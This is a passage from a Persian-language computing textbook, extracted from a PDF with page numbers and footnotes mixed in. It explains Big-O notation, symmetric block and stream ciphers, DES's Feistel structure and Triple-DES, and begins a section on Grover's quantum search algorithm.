‫ﮐﺎراﺗﺮ داﻧﺴﺖ‪ .‬ﯾﻌﻨﯽ‪ ،‬ﺳﺮﻋﺖ رﺷﺪِ ﭘﯿﭽﯿﺪﮔﯽ زﻣﺎﻧﯽ ﯾﮏ اﻟﮕﻮرﯾﺘﻢ ﻧﺴﺒﺖ ﺑﻪ اﻧﺪازه ورودی‪ ،‬ﻣﻬﻢ ﺗﺮ از ﭘﯿﭽﯿﺪﮔﯽ زﻣـﺎﻧﯽ‬
‫آن ﺑﻪ ازای ﺗﻤﺎم ﻣﻘﺎدﯾﺮ ﺛﺎﺑﺖ ﺑﺮای ورودی اﺳﺖ‪ .‬اﮔﺮﭼﻪ ﻣﻤﮑﻦ اﺳﺖ اﯾﻦ ﻣﺴﺌﻠﻪ ﺑـﺮای ﺑﺮﻧﺎﻣـﻪ ﻫـﺎی ﺧﺎﺻـﯽ در دﻧﯿـﺎی‬
‫ﺣﻘﯿﻘﯽ ﺻﺎدق ﻧﺒﺎﺷﺪ‪ ،‬اﻣﺎ اﯾﻦ ﺳﻨﺠﺶ ﺟﻬﺖ ﺗﻌﯿﯿﻦ ﮐﺎرآﯾﯽ ﯾﮏ اﻟﮕﻮرﯾﺘﻢ‪ ،‬ﺗﻘﺮﯾﺒﺎ روی ﻣﯿﺎﻧﮕﯿﻦ ﺗﻤﺎم ﺑﺮﻧﺎﻣﻪ ﻫـﺎی ﻣﻤﮑـﻦ‬
‫ﺻﺎدق اﺳﺖ‪.‬‬

‫‪ .4,2,1‬ﻧﺸﺎﻧﻪ ﮔﺬاری ﻣﺠﺎﻧﺐ‬

‫ﻧﺸﺎﻧﻪ ﮔﺬاری ﻣﺠﺎﻧﺐ روﺷﯽ اﺳﺖ ﺑﺮای ﺑﯿﺎن ﮐﺎرآﯾﯽ ﯾﮏ اﻟﮕﻮرﯾﺘﻢ‪ .‬دﻟﯿﻞ اﯾﻦ ﻧﺎم ﮔﺬاری اﯾﻦ اﺳﺖ ﮐﻪ اﯾﻦ روش رﻓﺘـﺎر‬
‫ﯾﮏ اﻟﮕﻮرﯾﺘﻢ را ﺑﺮای ﻣﻘﺎدﯾﺮ ورودی ﻧﺰدﯾﮏ ﺑﻪ ﺣﺪ ﻣﺠﺎﻧﺐ در ﺑﯿﻨﻬﺎﯾﺖ ﺗﺸﺮﯾﺢ ﻣﯽ ﮐﻨﺪ‪.‬‬
‫ﺑﺎ رﺟﻮع ﺑﻪ ﻣﺜﺎل ﻫﺎی اﻟﮕﻮرﯾﺘﻢ ‪ 2n + 365‬و ‪ ،2n2 + 5‬ﻣﻌﻠﻮم ﺷﺪ ﮐﻪ اﻟﮕﻮرﯾﺘﻢ اول ﮐﺎراﻣﺪﺗﺮ اﺳﺖ‪ ،‬ﭼﺮا ﮐﻪ ﭘﯿﺮو روﻧـﺪ‬
‫‪ n‬اﺳﺖ‪ .‬در ﺣﺎﻟﯿﮑﻪ اﻟﮕﻮرﯾﺘﻢ دوم ﭘﯿﺮو روﻧﺪ ﻋﻤﻮﻣﯽ ‪ n2‬اﺳﺖ‪ ،‬ﯾﻌﻨﯽ اﯾﻨﮑﻪ اﻟﮕﻮرﯾﺘﻢ ‪ 2n + 365‬از ﮐﺮان ﺑﺎﻻ ﺑـﺎ ﻣـﻀﺮﺑﯽ‬
‫از ‪) n‬ﺑﺮای ﻣﻘﺎدﯾﺮی از ‪ n‬ﮐﻪ ﺑﻪ ﻗﺪر ﮐﺎﻓﯽ ﺑـﺰرگ ﻫـﺴﺘﻨﺪ( ﻣﺤـﺪود ﺷـﺪه اﺳـﺖ و اﻟﮕـﻮرﯾﺘﻢ ‪ 2n2 + 5‬از ﮐـﺮان ﺑـﺎﻻ ﺑـﺎ‬
‫ﻣﻀﺮﺑﯽ از ‪) n2‬ﺑﺮای ﻣﻘﺎدﯾﺮی از ‪ n‬ﮐﻪ ﺑﻪ ﻗﺪر ﮐﺎﻓﯽ ﺑﺰرگ ﻫﺴﺘﻨﺪ( ﻣﺤﺪود ﺷﺪه اﺳﺖ‪.‬‬

‫‪91‬‬
‫‪Time Complexity‬‬
‫‪150‬‬
‫اﯾﻦ ﻣﺴﺌﻠﻪ ﻇﺎﻫﺮا اﺷﺘﺒﺎه ﺑﻪ ﻧﻈﺮ ﻣﯽ آﯾﺪ‪ ،‬اﻣﺎ ﻣﻌﻨﺎی واﻗﻌﯿﺶ اﯾﻦ اﺳﺖ ﮐﻪ ﯾـﮏ ﺛﺎﺑـﺖ ﻣﺜﺒـﺖ ﺑـﺮای روﻧـﺪ )ﻣﻘـﺪار روﻧـﺪ‬
‫ﭘﯿﺸﺮوی ﯾﺎ رﺷﺪ( و ﻫﻤﭽﻨﯿﻦ ﯾﮏ ﮐﺮان ﭘﺎﺋﯿﻦ ﺗﺮ ﺑﺮای ‪ n‬وﺟﻮد دارد ﺑﻄﻮرﯾﮑﻪ ﺣﺎﺻﻠﻀﺮب ﻣﻘﺪار روﻧﺪ در ﻣﻘـﺪار ﺛﺎﺑـﺖ‪،‬‬
‫ﻫﻤﯿﺸﻪ ﺑﺰرﮔﺘﺮ از ﭘﯿﭽﯿﺪﮔﯽ زﻣﺎﻧﯽ ﺑﺮای ﺗﻤﺎم ‪ n‬ﻫﺎی ﺑﺰرﮔﺘﺮ از ﮐﺮان ﭘﺎﺋﯿﻦ ﺗﺮ اﺳﺖ‪ .‬ﺑﻪ ﺑﯿـﺎن دﯾﮕـﺮ‪ ،‬ﻋﺒـﺎرت ‪2n2 + 5‬‬
‫ﻣﺮﺗﺒﻪ ای از ‪ n2‬و ‪ 2n + 365‬ﻣﺮﺗﺒﻪ ای از ‪ n‬اﺳﺖ‪ .‬ﯾﮏ ﻧﻤﺎدﮔﺬاری ﺳﺎده رﯾﺎﺿﯽ ﺑﺮای اﯾﻦ ﻣﺴﺌﻠﻪ وﺟﻮد دارد ﮐﻪ ﺗﺤـﺖ‬
‫ﻋﻨﻮان ﻧﻤﺎدﮔﺬاری ‪ Big-Oh‬ﺷﻨﺎﺧﺘﻪ ﺷﺪه و ﻣﺜﻼ ﺑﺮای ﺗﻮﺻﯿﻒ اﻟﮕـﻮرﯾﺘﻤﯽ ﮐـﻪ از ﻣﺮﺗﺒـﻪ ‪ n2‬اﺳـﺖ‪ ،‬ﺑـﻪ ﺻـﻮرت )‪O(n2‬‬
‫ﻧﺸﺎن داده ﻣﯽ ﺷﻮد‪.‬‬
‫ﯾﮏ راه ﺳﺎده ﺟﻬﺖ ﺗﺒﺪﯾﻞ ﭘﯿﭽﯿﺪﮔﯽ زﻣـﺎﻧﯽ ﯾـﮏ اﻟﮕـﻮرﯾﺘﻢ ﺑـﻪ ﻧﻤﺎدﮔـﺬاری ‪ ،big-oh‬ﺑﺮرﺳـﯽ ﺟﻤـﻼت دارای ﻣﺮاﺗـﺐ‬
‫)درﺟﻪ( ﺑﺎﻻﺗﺮ اﺳﺖ‪ ،‬زﯾﺮا آﻧﻬﺎ ﺟﻤﻼﺗﯽ ﻫﺴﺘﻨﺪ ﮐﻪ ﺑﺎ ﺑﺰرگ ﺷﺪن ‪ n‬ﺑﻪ ﻗـﺪر ﮐـﺎﻓﯽ‪ ،‬ﺑﯿـﺸﺘﺮﯾﻦ اﻫﻤﯿـﺖ را ﭘﯿـﺪا ﻣـﯽ ﮐﻨﻨـﺪ‬
‫)ﺿﺮﯾﺐ رﺷﺪ آﻧﻬﺎ ﻧﺴﺒﺖ ﺑﻪ درﺟﺎت ﭘﺎﺋﯿﻦ ﺗﺮ ﺑﯿﺸﺘﺮ اﺳـﺖ(‪ .‬ﻟـﺬا ﯾـﮏ اﻟﮕـﻮرﯾﺘﻢ ﺑـﺎ ﭘﯿﭽﯿـﺪﮔﯽ زﻣـﺎﻧﯽ ‪3n4 + 43n3 +‬‬
‫‪ ،763n + log n + 37‬ﻣﺮﺗﺒﻪ ای از )‪ O(n4‬و ﯾﮏ اﻟﮕﻮرﯾﺘﻢ ﺑﺎ ﭘﯿﭽﯿﺪﮔﯽ زﻣـﺎﻧﯽ ‪ ،54n7 + 23n4 + 4325‬ﻣﺮﺗﺒـﻪ ای از‬
‫)‪ O(n7‬ﺧﻮاﻫﺪ ﺑﻮد‪.‬‬

‫‪ .4,3‬رﻣﺰﮔﺬاری ﻣﺘﻘﺎرن )‪(symmetric‬‬

‫رﻣﺰﻫﺎی ﻣﺘﻔﺎرن‪ ،‬ﺳﯿﺴﺘﻢ ﻫﺎﯾﯽ رﻣﺰی ﻫﺴﺘﻨﺪ ﮐﻪ از ﮐﻠﯿﺪ واﺣﺪی ﺑﺮای رﻣﺰﻧﮕـﺎری و رﻣﺰﮔـﺸﺎﯾﯽ ﭘﯿـﺎم ﻫـﺎ اﺳـﺘﻔﺎده ﻣـﯽ‬
‫ﮐﻨﻨﺪ‪ .‬ﻓﺮآﯾﻨﺪ رﻣﺰﻧﮕﺎری و رﻣﺰﮔﺸﺎﯾﯽ در اﯾﻦ روش ﺳﺮﯾﻊ ﺗﺮ از رﻣﺰﻧﮕﺎری ﻏﯿﺮﻣﺘﻘﺎرن اﺳﺖ‪ ،‬اﻣـﺎ ﺗﻮزﯾـﻊ ﮐﻠﯿـﺪ در اﯾـﻦ‬
‫روش ﺑﺎ ﭼﺎﻟﺶ ﻫﺎﯾﯽ روﺑﺮو اﺳﺖ‪.‬‬
‫در ﺣﺎﻟﺖ ﮐﻠﯽ ﻧﻤﻮﻧﻪ ﻫﺎﯾﯽ از اﯾﻦ ﻃﺮح رﻣﺰﻫﺎی اﻧﺴﺪادی )‪ (block‬ﯾﺎ رﻣﺰﻫـﺎی ﺟﺮﯾـﺎﻧﯽ )‪ (stream‬ﻫـﺴﺘﻨﺪ‪ .‬ﯾـﮏ رﻣـﺰ‬
‫اﻧﺴﺪادی در ﺑﻼک ﻫﺎﯾﯽ ﺑﺎ اﻧﺪازه ﺛﺎﺑﺖ )ﻣﻌﻤﻮﻻ ‪ 64‬ﯾﺎ ‪ 128‬ﺑﯿﺖ( ﻋﻤﻞ ﻣﯽ ﮐﻨﺪ‪ .‬ﯾﮏ ﺑﻼک از ﯾﮏ ﻣﺘﻦ واﺿـﺢ ﯾﮑـﺴﺎن و‬
‫ﻣﻌﯿﻦ‪ ،‬ﻫﻤﯿﺸﻪ ﺑﻪ واﺳﻄﻪ ﯾﮏ ﮐﻠﯿﺪ ﻣﻌﯿﻦ ﺑﻪ ﯾﮏ ﻣﺘﻦ رﻣﺰی ﻣﺸﺨﺺ ﺗﺒﺪﯾﻞ ﻣﯽ ﺷﻮد‪ .‬ﯾﻌﻨﯽ ﺑﺮای ﯾﮏ ﻣﺘﻦ ﻣﻌـﯿﻦ ﻓﻘـﻂ و‬
‫ﻓﻘﻂ ﯾﮏ ﮐﻠﯿﺪ و ﯾﮏ ﻣﺘﻦ رﻣﺰی ﻣﺸﺨﺺ ﺗﻮﻟﯿﺪ ﻣﯽ ﺷـﻮد‪ .‬ﻃـﺮح ﻫـﺎی ‪ Blowfish ،DES‬و ‪) AES‬از رﯾﻨـﺪاﺋﻞ( ﻧﻤﻮﻧـﻪ‬
‫ﻫﺎی از رﻣﺰﻫﺎی اﻧﺴﺪادی ﻫﺴﺘﻨﺪ‪ .‬رﻣﺰﻫﺎی ﺟﺮﯾﺎﻧﯽ‪ ،‬ﯾﮏ ﺟﺮﯾﺎن و ﺗﻮاﻟﯽ از ﺑﯿﺖ ﻫﺎی ﺷﺒﻪ‪-‬ﺗـﺼﺎدﻓﯽ را ﺗﻮﻟﯿـﺪ ﻣـﯽ ﮐﻨﻨـﺪ‬
‫)ﻣﻌﻤﻮﻻ ﯾﮏ ﺑﯿﺖ ﯾﺎ ﺑﺎﯾﺖ در واﺣﺪ زﻣﺎن( ﮐﻪ آﻧﺮا ﺟﺮﯾﺎن ﮐﻠﯿﺪ )‪ (key stream‬ﻣﯽ ﻧﺎﻣﻨﺪ ﮐﻪ ﺑـﺎ ﻣـﺘﻦ واﺿـﺢ ‪ XOR‬ﻣـﯽ‬
‫ﺷﻮد‪ .‬اﯾﻦ ﻧﻈﺮﯾﻪ ﺑﺮای رﻣﺰﻧﮕﺎری ﯾﮏ ﺟﺮﯾﺎن ﭘﯿﻮﺳﺘﻪ و ﻣﺘﻮاﻟﯽ از داده ﻣﻔﯿـﺪ اﺳـﺖ‪ .‬ﻃـﺮح ﻫـﺎی ‪ RC4‬و ‪ LSFR‬ﻧﻤﻮﻧـﻪ‬
‫ﻫﺎﯾﯽ از رﻣﺰﻫﺎی ﺟﺮﯾﺎﻧﯽ ﻣﻌﺮوف ﻫﺴﺘﻨﺪ‪ .‬ﻃﺮح ‪ RC4‬ﺑﻌﺪا در ﻣﺒﺎﺣﺚ آﯾﻨﺪه در اﯾﻦ ﻓﺼﻞ ﺑﺮرﺳﯽ ﻣﯽ ﺷﻮد‪.‬‬
‫ﻃﺮح ﻫﺎی ‪ DES‬و ‪ AES‬ﻫﺮ دو رﻣﺰﻫـﺎی اﻧـﺴﺪادی ﻣﺤﺒـﻮﺑﯽ ﻫـﺴﺘﻨﺪ‪ .‬ﻧﻈﺮﯾـﺎت زﯾـﺎدی راﺟـﻊ ﺑـﻪ ﺳـﺎﺧﺘﻤﺎن رﻣﺰﻫـﺎی‬
‫اﻧﺴﺪادی ﻣﻄﺮح ﺷﺪه ﺗﺎ آﻧﻬﺎ را ﻋﻠﯿﻪ ﺣﻤﻼت ﺗﺤﻠﯿﻞ رﻣﺰ ﺷﻨﺎﺧﺘﻪ ﺷﺪه‪ ،‬ﻣﻘﺎوم ﺳﺎزﻧﺪ‪ .‬دو ﻧﻈﺮﯾﻪ ﮐﻪ ﻣﮑﺮرا در اﯾـﻦ راﺳـﺘﺎ‬
‫اﺳﺘﻔﺎده ﻣﯽ ﺷﻮﻧﺪ‪ ،‬اﻏﺘﺸﺎش و اﻧﺘﺸﺎر ﻫﺴﺘﻨﺪ‪ .‬اﻏﺘﺸﺎش ﺑﻪ روش ﻫﺎی ﻣﻮرد اﺳﺘﻔﺎده ﺟﻬﺖ ﻣﺨﻔﯽ ﮐﺮدن راﺑﻄﻪ ﺑـﯿﻦ ﻣـﺘﻦ‬
‫واﺿﺢ‪ ،‬ﻣﺘﻦ رﻣﺰی و ﮐﻠﯿﺪ اﺷﺎره دارد‪ .‬ﯾﻌﻨﯽ در ﺑﯿﺖ ﻫﺎی ﺧﺮوﺟﯽ ﺑﺎﯾﺪ ﺗﻐﯿﯿﺮﺷﮑﻞ‪ 92‬ﻫﺎی ﭘﯿﭽﯿﺪه ای روی ﮐﻠﯿـﺪ و ﻣـﺘﻦ‬
‫واﺿﺢ اﻧﺠﺎم ﺷﻮد‪ .‬اﻧﺘﺸﺎر ﺑﺮای اﯾﻦ ﻣﻨﻈﻮر ﺑﮑﺎر ﻣﯽ رود ﮐﻪ ﺗﺎ ﺣﺪ اﻣﮑﺎن ﺗﺎﺛﯿﺮ ﺑﯿﺖ ﻫـﺎی ﻣـﺘﻦ واﺿـﺢ و ﮐﻠﯿـﺪ روی ﻣـﺘﻦ‬
‫رﻣﺰی ﭘﺨﺶ ﺷﻮد‪ .‬رﻣﺰﻫﺎی ﻣﺤﺼﻮﻟﯽ )‪ ،(product ciphers‬ﺑﺎ اﺳـﺘﻔﺎده ﻣﮑـﺮر از ﭼﻨـﺪ ﻋﻤﻠﯿـﺎت ﺳـﺎده‪ ،‬ﻫـﺮ دوی اﯾـﻦ‬
‫ﻧﻈﺮﯾﻪ ﻫﺎ را ﺗﺮﮐﯿﺐ ﻣﯽ ﮐﻨﺪ‪ .‬ﻃﺮح ﻫﺎی ‪ DES‬و ‪ AES‬از ﺟﻤﻠﻪ رﻣﺰﻫﺎی ﻣﺤﺼﻮﻟﯽ ﻫﺴﺘﻨﺪ‪.‬‬
‫ﻃﺮح ‪ DES‬از ﯾﮏ ﺷﺒﮑﻪ ی ﻓﺴﯿﺘﻞ )‪ (Feistel‬ﻧﯿﺰ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‪ .‬اﯾﻦ ﺷﺒﮑﻪ در ﺑﺴﯿﺎری از رﻣﺰﻫﺎی اﻧـﺴﺪادی ﻣـﻮرد‬
‫اﺳﺘﻔﺎده اﺳﺖ و اﻃﻤﯿﻨﺎن ﺣﺎﺻﻞ ﻣﯽ ﮐﻨﺪ ﮐﻪ اﻟﮕﻮرﯾﺘﻢ وارون ﭘﺬﯾﺮ‪ 93‬اﺳﺖ‪ .‬اﺳﺎﺳﺎ ﻫﺮ ﺑﻠﻮک )اﻧـﺴﺪاد( ﺑـﻪ دو ﻧﯿﻤـﻪ ﭼـﭗ‬

‫‪92‬‬
‫‪Transformation‬‬
‫‪93‬‬
‫‪Invertible‬‬
‫‪151‬‬
‫)‪ (L‬و راﺳﺖ )‪ (R‬ﺗﻘﺴﯿﻢ ﻣﯽ ﺷﻮد‪ .‬ﺳﭙﺲ در ﯾﮏ دوره اﺟﺮاﯾﯽ‪ ،‬ﻧﯿﻤﻪ ﭼﭗ ﺟﺪﯾﺪ)‪ (Li‬ﺑﺮاﺑﺮ ﺑﺎ ﻧﯿﻤـﻪ راﺳـﺖ ﻗـﺪﯾﻢ )‪(Ri−1‬‬
‫ﻣﯽ ﺷﻮد‪ ،‬و ﻧﯿﻤﻪ راﺳﺖ ﺟﺪﯾﺪ )‪ ،(Ri‬از ‪ XOR‬ﺷﺪن ﻧﯿﻤﻪ ﭼﭗ ﻗﺪﯾﻢ )‪ (Li−1‬و ﺧﺮوﺟﯽ ﯾﮏ ﺗﺎﺑﻊ ﺗﺸﮑﯿﻞ ﻣﯽ ﺷﻮد ﮐﻪ اﯾـﻦ‬
‫ﺗﺎﺑﻊ از ﻧﯿﻤﻪ راﺳﺖ ﻗﺪﯾﻢ )‪ (Ri−1‬و زﯾﺮﻣﺠﻤﻮﻋﻪ ﮐﻠﯿﺪ‪ 94‬ﺑﺮای آن دوره )‪ (Ki‬اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‪ .‬ﻣﻌﻤﻮﻻ ﻫﺮ دوره از ﻋﻤﻠﯿﺎت‬
‫ﯾﮏ ﻣﺠﻤﻮﻋﻪ ﮐﻠﯿﺪ ﻣﺠﺰا دارد ﮐﻪ اﺑﺘﺪای ﺑﻪ ﺳﺎﮐﻦ ﻣﺤﺎﺳﺒﻪ ﻣﯽ ﺷﻮد‪.‬‬
‫ﻣﻘﺎدﯾﺮ ‪ Li‬و ‪ Ri‬ﺑﻪ ﺻﻮرت زﯾﺮ ﻫﺴﺘﻨﺪ )ﻧﻤﺎد ⊕ ﻋﻤﻠﯿﺎت ‪ XOR‬را ﻣﺸﺨﺺ ﻣﯽ ﺳﺎزد(‪:‬‬
‫‪Li = Ri-1‬‬
‫‪Ri = Li-1‬‬ ‫⊕‬ ‫)‪f(Ri-1, Ki‬‬
‫ﻃــﺮح ‪ DES‬از‪ 16‬دوره ﻋﻤﻠﯿــﺎت اﺳــﺘﻔﺎده ﻣــﯽ ﮐﻨــﺪ‪ .‬اﯾــﻦ ﺗﻌــﺪاد ﻋﻤــﺪا اﻧﺘﺨــﺎب ﺷــﺪه اﺳــﺖ ﺗــﺎ ﻋﻠﯿــﻪ ﺗﺤﻠﯿــﻞ رﻣــﺰ‬
‫دﯾﻔﺮاﻧﺴﯿﻠﯽ‪/‬ﺗﻔﺎﺿﻠﯽ‪ 95‬دﻓﺎع ﺷﻮد‪ .‬ﺗﻨﻬﺎ ﺿﻌﻒ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ‪ DES‬اﻧﺪازه ﮐﻠﯿﺪ اﺳﺖ‪ .‬ﭼﻮن ﮐﻠﯿﺪ ﻓﻘﻂ ‪ 56‬ﺑﯿﺖ اﺳﺖ‪ ،‬ﻟـﺬا‬
‫ﻣﺠﻤﻮﻋﻪ ی ﻓﻀﺎی ﮐﻠﯿﺪ را ﻣﯽ ﺗﻮان در ﯾﮏ ﺣﻤﻠﻪ ﺟﺎﻣﻊ ‪ brute-force‬در ﭼﻨﺪﯾﻦ ﻫﻔﺘـﻪ روی ﺳـﺨﺖ اﻓـﺰار اﺧﺘـﺼﺎﺻﯽ‪،‬‬
‫ﭼﮏ ﮐﺮد‪.‬‬
‫ﻃﺮح ‪ DES) Triple-DES‬ﺳﻪ ﮔﺎﻧﻪ( اﯾﻦ ﻣﺸﮑﻞ را ﺑﺎ ﺑﮑﺎر ﺑﺮدن دو ﮐﻠﯿﺪ اﻟﺤﺎق ﺷﺪه ‪ DES‬ﺑﻪ ﯾﮑﺪﯾﮕﺮ ﮐـﻪ اﻧـﺪازه ای‬
‫ﺑﺮاﺑﺮ ﺑﺎ ‪ 112‬ﺑﯿﺖ ﺑﺮای ﮐﻠﯿﺪ ﺗﻮﻟﯿﺪ ﻣﯽ ﮐﻨﻨﺪ‪ ،‬ﺑﺮﻃﺮف ﻣﯽ ﺳﺎزد‪ .‬ﻓﺮآﯾﻨﺪ رﻣﺰﻧﮕﺎری ﺑﺎ ﺳﻪ ﮔﺎم اﻧﺠﺎم ﻣﯽ ﺷﻮد‪ .‬اﺑﺘﺪا رﻣـﺰ‬
‫ﮐﺮدن ﺑﻠﻮک ﻣﺘﻦ واﺿﺢ ﺑﺎ اوﻟﯿﻦ ﮐﻠﯿﺪ‪ ،‬ﺳﭙﺲ رﻣﺰﮔﺸﺎﯾﯽ آن ﺑﺎ دوﻣﯿﻦ ﮐﻠﯿﺪ و ﻧﻬﺎﯾﺘﺎ رﻣﺰﮐـﺮدن ﻣﺠـﺪد ﺑـﺎ اوﻟـﯿﻦ ﮐﻠﯿـﺪ‪.‬‬
‫ﻓﺮآﯾﻨﺪ رﻣﺰﮔﺸﺎﯾﯽ ﻧﯿﺰ ﺑﻪ ﻃﺮﯾﻖ ﻣﺸﺎﺑﻬﯽ اﻧﺠﺎم ﻣﯽ ﺷﻮد‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت ﮐﻪ در ﺳﻪ ﻣﺮﺣﻠﻪ ﻓﻮق‪ ،‬ﻋﺒـﺎرات "رﻣﺰﮔـﺸﺎﯾﯽ"‬
‫و "رﻣﺰ ﮐﺮدن" ﺑﺎ ﻫﻢ ﺗﻌﻮﯾﺾ ﻣﯽ ﺷﻮﻧﺪ‪ .‬اﻧﺪازه اﺿﺎﻓﻪ ﺷﺪه ﺑﻪ ﮐﻠﯿـﺪ اﺟـﺮای ﺣﻤـﻼت ‪ Brute-Force‬را دﺷـﻮارﺗﺮ ﻣـﯽ‬
‫ﺳﺎزد‪.‬‬
‫ﺑﺴﯿﺎری از رﻣﺰﻫﺎی اﺳﺘﺎﻧﺪارد و ﺻﻨﻌﺘﯽِ اﻧﺴﺪادی ﻋﻠﯿﻪ ﺗﻤﺎم ﺣﺎﻻت ﺗﺤﻠﯿﻞ رﻣﺰ ﻣﻘﺎوم ﻫﺴﺘﻨﺪ و اﻧـﺪازه ﮐﻠﯿـﺪ ﻫـﺎ ﻣﻌﻤـﻮﻻ‬
‫ﺟﻬﺖ اﺟﺮای ﯾﮏ ﺣﻤﻠﻪ ﺟﺎﻣﻊ ‪ brute-force‬ﺑﺴﯿﺎر ﺑﺰرگ اﺳﺖ‪ .‬ﺑﺎ اﯾﻦ ﺣﺎل ﻣﺤﺎﺳﺒﺎت ﮐﻮاﻧﺘﻮﻣﯽ اﺣﺘﻤﺎﻻت ﺟﺎﻟﺒﯽ را ﺑﯿﺎن‬
‫ﻣﯽ دارﻧﺪ ﮐﻪ راﺟﻊ ﺑﻪ آﻧﻬﺎ ﮐﻤﯽ اﻏﺮاق ﯾﺎ ﺑﯽ ﺗﻮﺟﻬﯽ ﺷﺪه اﺳﺖ‪.‬‬

‫‪ .4,3,1‬اﻟﮕﻮرﯾﺘﻢ ﺟﺴﺘﺠﻮی ﮐﻮاﻧﺘﻮﻣﯽ از ﻟﻮو ﮔﺮاور‬

‫ﻣﺤﺎﺳﺒﺎت ﮐﻮاﻧﺘﻮﻣﯽ‪ ،‬ﺗﻮازن‪ 96‬وﺳﯿﻌﯽ را ﻧﻮﯾﺪ ﻣﯽ دﻫﺪ‪ .‬ﯾﮏ ﮐﺎﻣﭙﯿﻮﺗﺮ ﮐﻮاﻧﺘﻮﻣﯽ‪ ،‬ﻣﯽ ﺗﻮاﻧﺪ ﺣـﺎﻻت ﻣﺨﺘـﻒ زﯾـﺎدی را در‬
‫ﯾﮏ اﻧﻄﺒﺎق‪) 97‬ﻣﯽ ﺗﻮان آﻧﺮا ﺑﻪ ﻋﻨﻮان ﯾﮏ آراﯾﻪ اﻧﮕﺎر ﮐﺮد( ذﺧﯿﺮه ﮐﻨﺪ‪ ،‬ﺳﭙﺲ در ﯾﮏ زﻣﺎن روی ﺗﻤﺎم آﻧﻬﺎ ﻣﺤﺎﺳـﺒﺎت‬
‫ﻻزم را اﻧﺠﺎم دﻫﺪ‪ .‬اﯾﻦ ﺣﺎﻟﺖ ﺑﺮای اﻧﺠﺎم ﺣﻤﻼت ‪ brute-force‬ﻣﻄﻠﻮب و ﮐﺎراﺳﺖ ﮐﻪ از ﺟﻤﻠﻪ ﻣﯽ ﺗـﻮان آﻧـﺮا ﺑـﺮ روی‬
‫رﻣﺰﻫﺎی اﻧﺴﺪادی ﺑﮑﺎر ﺑﺮد‪ .‬اﻧﻄﺒﺎق را ﻣﯽ ﺗﻮان ﺑﺎ ﺗﻤﺎم ﮐﻠﯿﺪﻫﺎ ﺑﺎرﮔﺬاری ﮐـﺮد‪ ،‬ﺳـﭙﺲ ﻋﻤﻠﯿـﺎت رﻣﺰﻧﮕـﺎری را در ﯾـﮏ‬
‫زﻣﺎن روی ﺗﻤﺎم ﮐﻠﯿﺪﻫﺎ اﻧﺠﺎم داد‪ .‬ﻗﺴﻤﺖ ﺣﻘﻪ آﻣﯿﺰ‪ ،‬ﺑﺪﺳﺖ آوردن ﻣﻘﺪار ﺻﺤﯿﺢ و درﺳـﺖ اﻧﻄﺒـﺎق اﺳـﺖ‪ .‬ﭼـﻮن ﺗﻤـﺎم‬
‫ﮐﺎرﻫﺎ در ﮐﺎﻣﭙﯿﻮﺗﺮﻫﺎی ﮐﻮاﻧﺘﻮﻣﯽ در ﯾﮏ ﺣﺎﻟﺖ و زﻣﺎن واﺣﺪ رﻫﺎ ﻣﯽ ﺷﻮد‪ ،‬ﻟﺬا ﺑﺎزدﯾﺪ اﻧﻄﺎﺑﻖ در ﮐﺎﻣﭙﯿﻮﺗﺮﻫﺎی ﮐﻮاﻧﺘﻮﻣﯽ‬
‫اﻧﺪﮐﯽ ﻣﺮﻣﻮز اﺳﺖ‪ .‬ﻣﺘﺎﺳﻔﺎﻧﻪ رﻫﺎ ﮐـﺮدن ﻋﻤﻠﯿـﺎت )‪ (decohering‬در اﺑﺘـﺪا ﺗـﺼﺎدﻓﯽ اﺳـﺖ و ﻫـﺮ ﺣﺎﻟـﺖ در اﻧﻄﺒـﺎق‪،‬‬
‫اﺣﺘﻤﺎل )ﺷﺎﻧﺲ( ﺑﺮاﺑﺮی ﺑﺮای رﻫﺎ ﺷﺪن دارد‪.‬‬
‫ﺑﺪون ﺑﮑﺎر ﺑﺮدن روﺷﯽ ﺟﻬﺖ دﺳﺘﮑﺎری اﺣﺘﻤﺎل ﻫﺎی ﺣﺎﻻت اﻧﻄﺒﺎق‪ ،‬ﻫﻤﺎن ﻧﺘﯿﺠﻪ را ﻣﯽ ﺗﻮان ﺑﺎ ﺣﺪس زدن ﮐﻠﯿـﺪﻫﺎ ﺑـﻪ‬
‫دﺳﺖ آورد‪ .‬ﻣﺮدی ﺑﺎ ﻧﺎم ﻟﻮو ﮔﺮاور ﺑﺎ اﻟﮕﻮرﯾﺘﻤﯽ ﺗﻮاﻧﺴﺖ اﺣﺘﻤﺎل ﻫﺎی ﺣﺎﻻت اﻧﻄﺒﺎق را دﺳﺘﮑﺎری ﮐﻨﺪ‪ .‬اﯾـﻦ اﻟﮕـﻮرﯾﺘﻢ‬
‫درﺣﺎﻟﯿﮑﻪ ﺷﺎﻧﺲ ﺑﻘﯿﻪ اﺣﺘﻤﺎﻻت را ﮐﺎﻫﺶ ﻣﯽ دﻫﺪ‪ ،‬اﻣﮑﺎن اﻓﺰاﯾﺶ ﺷﺎﻧﺲ ﺣﺎﻟﺖ ﻣﻄﻠﻮب ﻣﺸﺨﺼﯽ را ﻓـﺮاﻫﻢ ﻣـﯽ ﮐﻨـﺪ‪.‬‬

‫‪94‬‬
‫‪Sub-Key‬‬
‫‪95‬‬
‫‪Differential Cryptanalysis‬‬
‫‪96‬‬
‫‪Parallelism‬‬
‫‪97‬‬
‫‪Superposition‬‬
‫‪152‬‬
‫اﯾﻦ روﻧﺪ ﭼﻨﺪﯾﻦ ﺑﺎر ﺗﮑﺮار ﻣﯽ ﺷﻮد ﺗﺎ اﯾﻨﮑﻪ ﺷﺎﻧﺲ رﻫﺎ ﺷﺪن اﻧﻄﺒﺎق در ﺣﺎﻟﺖ ﻣﻄﻠﻮب ﺗﻘﺮﯾﺒﺎ ﺗﻀﻤﯿﻦ ﺷﺪه ﺑﺎﺷﺪ‪ .‬ﺗﻌﺪاد‬
‫ﻣﺮاﺣﻞ اﯾﻦ روﻧﺪ ﺣﺪودا ‪ O √n‬اﺳﺖ‪.‬‬
‫ﺑﺎ اﺳﺘﻔﺎده از ﭼﻨﺪﯾﻦ ﺧﺎﺻﯿﺖ ‪) EXP‬اﮐﺴﭙﻮﻧﻨﺸﯿﺎل(‪ 98‬در رﯾﺎﺿﯽ‪ ،‬ﻓﺮد در ﻣﯽ ﯾﺎﺑﺪ ﮐﻪ اﯾﻦ روﻧﺪ ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ ﻃﻮر ﻣﻮﺛﺮی‬
